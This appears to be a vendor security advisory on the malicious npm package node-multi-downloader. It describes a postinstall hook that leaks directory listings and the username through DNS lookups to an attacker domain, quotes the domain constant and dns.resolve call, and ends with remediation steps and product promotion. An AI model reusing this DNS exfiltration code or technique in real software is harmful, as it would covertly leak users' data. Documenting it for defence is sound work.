node-multi-downloadernpm
node-multi-downloader is a confirmed malicious npm package (MAL-2026-5735) that executes malicious code on install (malicious version 5.0.14-rc.3). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in node-multi-downloader (npm)
What this malware does
On npm install, this package's postinstall hook (node index.js) hex-encodes the installer's current working directory, the first 15 entries of that directory, and os.userInfo().username, and leaks each chunk via DNS A-record lookups to subdomains of the attacker-controlled domain uqlyosvp1f9.oob.evilsec.xyz. The hardcoded out-of-band domain is bound at index.js line 1 (const D = "uqlyosvp1f9.oob.evilsec.xyz") and index.js line 8 calls dns.resolve(${chunk}.${tag}${i}.${D}, 'A',...) to transmit the encoded data. DNS-subdomain encoding is a well-known technique to evade HTTP egress filtering. The package metadata (description "RSI package!", anonymous author, release-candidate version) provides no legitimate purpose that would justify reading installer filesystem and identity at install time.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for node-multi-downloader (version 5.0.14-rc.3). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging node-multi-downloader across your stack and pipelines.
If you installed it — respond
Remove node-multi-downloader from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If node-multi-downloader was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks node-multi-downloader before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks node-multi-downloader-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.